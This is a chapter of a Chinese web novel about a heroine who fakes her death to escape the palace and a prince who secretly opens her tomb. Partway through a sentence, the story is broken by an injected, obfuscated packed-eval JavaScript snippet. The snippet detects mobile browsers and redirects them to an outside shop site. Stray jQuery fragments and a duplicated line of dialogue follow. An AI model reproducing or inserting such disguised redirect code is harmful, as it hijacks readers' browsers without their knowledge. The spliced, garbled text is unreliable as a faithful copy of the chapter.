25. 第 25 章

作品:《反派暴君他也有系统

    一个月后某处山野无名小村。


    晨光透过窗棂洒进来,在地上投下细碎的光斑。沈时微推开窗户,山间的薄雾正缓缓散去,远处梯田层层叠叠,有人已经开始了一天的劳作。


    她深吸一口气,是泥土混着青草的清冽气息。没有熏香,没有脂粉,没有那股永远萦绕在宫闱里的腐朽味道。


    真好。


    桌上摆着昨晚从村头换来的糙米和野菜,灶台旁堆着砍好的柴火。这一个月,她学会了生火做饭,学会了挑水洗衣,学会了分辨哪些野菜能吃哪些不能吃。刚开始手忙脚乱,现在好歹能糊弄出一顿不烧糊的饭了。


    她坐在门槛上,就着晨光啃一个杂粮饼子,看着远处山峦间缭绕的云雾,觉得这日子简直像做梦一样。


    一个月前,她还在那四四方方的宫墙里,每天算计着怎么避宠,怎么应付那些恨不得把她生吞活剥的妃嫔,怎么在系统的催促下帮谢砚那个闷葫芦刷存在感。如今想起来,竟恍如隔世。


    【宿主。】系统的声音在脑海中响起,带着明显的无奈,【您已经闲云野鹤一个月了。】


    “嗯,挺好。”沈时微咬了一口饼子,含糊应道。


    【任务进度还卡在百分之三十一。】


    “嗯,挺好。”


    【宿主,您能不能有点紧张感?】


    “我为什么要紧张?”沈时微把最后一口饼子塞进嘴里,拍了拍手上的渣,“我现在是个死人。死人不需要做任务。”


    【可您没死啊。】


    “谢砚不知道,景帝不知道,林殊不知道,全天下都觉得我死了。”沈时微往后一仰,靠在门框上,眯着眼享受阳光,“那我就是死了。”


    【……】


    【可是宿主,您这样消极怠工,积分会扣光的。】


    “扣吧。”沈时微毫不在意,“反正我现在的需求就是吃饱穿暖晒太阳,积分够换粮食就行。”


    【您之前兑换假死药的时候可不是这么说的!您说等风头过了就继续任务!】


    “我说过吗?”沈时微无辜地眨眨眼,“我忘了。”


    【宿主!】


    沈时微终于笑出声来,“好啦好啦,逗你的。谢砚那小子还没当上皇帝呢,我怎么可能真的不管他。”


    【那您打算什么时候……】


    “等我想清楚怎么复活再说。”沈时微站起身,拍拍裙摆上的灰,“现在回去,我就是诈死的钦犯,是欺君之罪。谢砚自己都还在刀尖上走,我再回去,是嫌他死得不够快?”


    【那您的意思是……】


    “等。”沈时微望着远处连绵的山峦,眼神比一个月前清亮了许多,“等他站稳脚跟,等他手里有了真正的筹码,等他能护住我的时候。”


    【他要是一直站不稳呢?】


    “那就一直等着。”沈时微转身回屋,开始收拾碗筷,“反正这日子,我也挺喜欢的。”


    系统沉默了。


    沈时微知道它在想什么。


    一个穿书女,带着系统,居然甘心窝在山沟沟里过这种苦日子,简直是暴殄天物。


    可她真的挺喜欢的。


    不用每天端着架子说话,不用时刻提防被人算计,不用强颜欢笑应付那个薄情的帝王。她可以蓬头垢面,可以大声笑,可以想发呆就发呆,想做啥就做啥。


    这种自由,她在宫里做梦都不敢想。


    【可是宿主……】


    “行了行了,我知道你着急。”沈时微把碗筷放进锅里,准备烧水洗碗,“这样吧,你帮我盯着京城那边的动静,有什么大事及时告诉我。至于任务……”


    她顿了顿,看着灶膛里跳跃的火苗。


    “等他真正需要我的时候,我会回去的。”


    系统没再说话,算是默认了这个方案。


    沈时微往灶膛里添了根柴,火苗舔着锅底,发出轻微的噼啪声。


    京城六皇子府。


    谢砚坐在书房里,面前摊着一份南边来的急报,却一个字也看不进去。


    一个月了。


    一个月前那场葬礼,那具棺椁,那座皇陵,那些铁一般的证据,都告诉他沈时微死了。死得透透的,死得毫无破绽。


    可他总觉得不对劲。


    那种感觉说不清楚,像一根刺扎在心里,不疼,但总在那儿,时不时提醒他一下。他告诉自己这是多疑,是病,得治。可那根刺就是拔不出来。


    他今天又派人去了皇陵。


    不是去查什么,就是……去看看。他已经记不清这是第几次了。每次去都告诉自己这是最后一次,每次回来都告诉自己该死心了,可下一次,还是忍不住。


    守卫说一切如常,皇陵安静得很,连个鬼影都没有。


    谢砚不知道自己到底在期待什么。期待她真的没死?然后呢?她没死,就是欺君,就是死罪,他能做什么?护住她?拿什么护?


    可如果她真的死了……


    他放下手中的笔,站起身走到窗边。窗外是四四方方的庭院,和宫里的格局很像,却又不一样。他忽然想起小时候在冷宫,母妃抱着他,指着窗外那棵歪脖子树说,等树开花的时候,就能出去了。


    后来树没开花,他们也出去了。


    “殿下。”聂峰的声音在门外响起。


    “进来。”


    聂峰推门而入,脸色有些古怪,“殿下,皇陵那边……出了点事。”


    谢砚心头猛地一跳,面上却不动声色,“什么事?”


    “守卫今早发现,贵妃娘娘的墓室……有被人闯入的痕迹。”


    谢砚的瞳孔骤然收缩。


    “守卫今早发现,贵妃娘娘的墓室……昨夜有人闯入。”


    谢砚的眼神骤然锐利,“说清楚。”


    “是盗墓贼。”聂峰躬身道,“一共三人,趁夜挖开墓道潜入,被巡逻侍卫发现时正在撬动棺椁。当场抓获两人,一人逃脱。守卫统领连夜审问,那两个贼人交代,是京城一伙专门盗掘贵胄墓葬的惯犯,听闻皇贵妃陪葬丰厚,便起了歹心。”


    “棺椁可曾被打开?”


    “尚未。侍卫发现及时,棺盖只被撬开一条缝,还未来得及掀开。陪葬器物也未曾丢失。”


    谢砚的眉头微微蹙起。


    盗墓贼。三个蟊贼,为钱财而来。如此寻常,如此合理,合理得让他方才那一瞬间紧绷的心绪显得有些可笑。


    他在期待什么?


    期待那闯入者是另有所图?期待那棺椁里其实是空的,好证明他的猜测并非虚妄?期待沈时微真的还活着,躲在某个角落,用这种方式告诉他她还存在?


    荒唐。


    “那两个贼人呢?”


    “已经被处死。”


    “下去吧。”


    “是。”聂峰领命,正要退下,忽然想起什么,“对了殿下,那两个贼人招供时说,他们打探消息的人曾在皇陵附近看到过可疑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183853|193402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的踪迹,像是有人在暗中踩点。属下想着,或许还有同伙未落网……”


    谢砚没再听下去。


    他脑子里忽然闪过一个念头。


    “聂峰。”谢砚忽然开口。


    聂峰停步回身,“殿下有何吩咐?”


    谢砚沉默了片刻,眼神渐渐变得幽深而平静,像是终于下定了什么决心。


    “今夜,备一辆不起眼的马车,两个人就够了。你和我。”


    聂峰一怔,“殿下是要……”


    “去皇陵。”谢砚的声音不高,却带着不容置疑的笃定,“亲眼看看。”


    聂峰瞳孔微缩,张了张嘴想说什么,最终只是躬身应道:“是。”


    夜色如墨,无星无月。


    一辆朴素的青帷马车悄然驶出六皇子府后门,沿着僻静的街巷,朝着城外皇陵的方向而去。驾车的是聂峰,车厢里只坐着谢砚一人。


    他闭着眼靠在车壁上,随着马车轻微的颠簸,脑海中却翻涌着无数念头。


    若她真死了,他此行便是惊扰亡灵,是对死者的大不敬。若她没死,那棺椁里葬的是谁?她如今又在何处?任务明明还未完成,她为何要这般费尽心机地假死脱身?


    “一个月了,你们没有派遣新的攻略者来,是不是证明沈时微还活着。”


    「主神会筛选合适的攻略者,这需要时间。」


    马车在夜色中疾驰,一个时辰后,停在了皇陵外围的一处僻静树林里。


    聂峰低声道:“殿下,再往前就是守卫巡查的范围了。咱们得步行过去。”


    谢砚掀开车帘,夜风扑面而来,带着山野间特有的凉意。他深吸一口气,下马车。


    “走吧。”


    两人借着夜色的掩护,沿着聂峰早已探查过的路径,悄然靠近皇陵。谢砚从未做过这种事,堂堂皇子,深更半夜潜入自家皇陵,若是被人发现,传出去便是天大的笑话。


    可此刻他顾不上这些。


    他只想知道答案。


    守卫的巡查确实严密,但聂峰熟悉他们的轮换规律,两人避开了几拨巡逻,终于摸到了端慧皇贵妃墓室的入口附近。


    那是一处依山而建的墓道入口,有石门封堵。白日被盗墓贼撬动过的痕迹还未完全修复,封门上留着明显的凿痕。


    “殿下,入口在此。”聂峰压低声音,“里面情况不明,属下先进……”


    “一起。”谢砚打断他。


    聂峰看了他一眼,没再说什么,取出预先准备的工具,小心地撬动石门。


    片刻后,石门无声地滑开一条缝隙。两人闪身而入。


    墓道幽深,寒气逼人。谢砚点燃随身携带的火折子,微弱的火光在石壁上投下摇曳的影子。他们沿着墓道一路向下,终于抵达主墓室。


    棺椁静静停放在石台之上,描金绘彩,在昏黄的火光中泛着幽暗的光泽。棺盖确实如守卫所说,被撬开了一条缝隙,还没有完全合拢。


    谢砚站在棺椁前,盯着那条缝隙,心跳得有些失常。


    只需推开棺盖,他就能知道答案。


    可他的手却像是被什么无形的东西拽住,迟迟没有动作。


    他在怕什么?


    “殿下?”聂峰低声唤道。


    谢砚深吸一口气,上前一步,双手按在棺盖上,用力一推。


    沉重的棺盖缓缓滑开,露出棺椁内部。


    【糟了宿主!有人打开了棺椁!】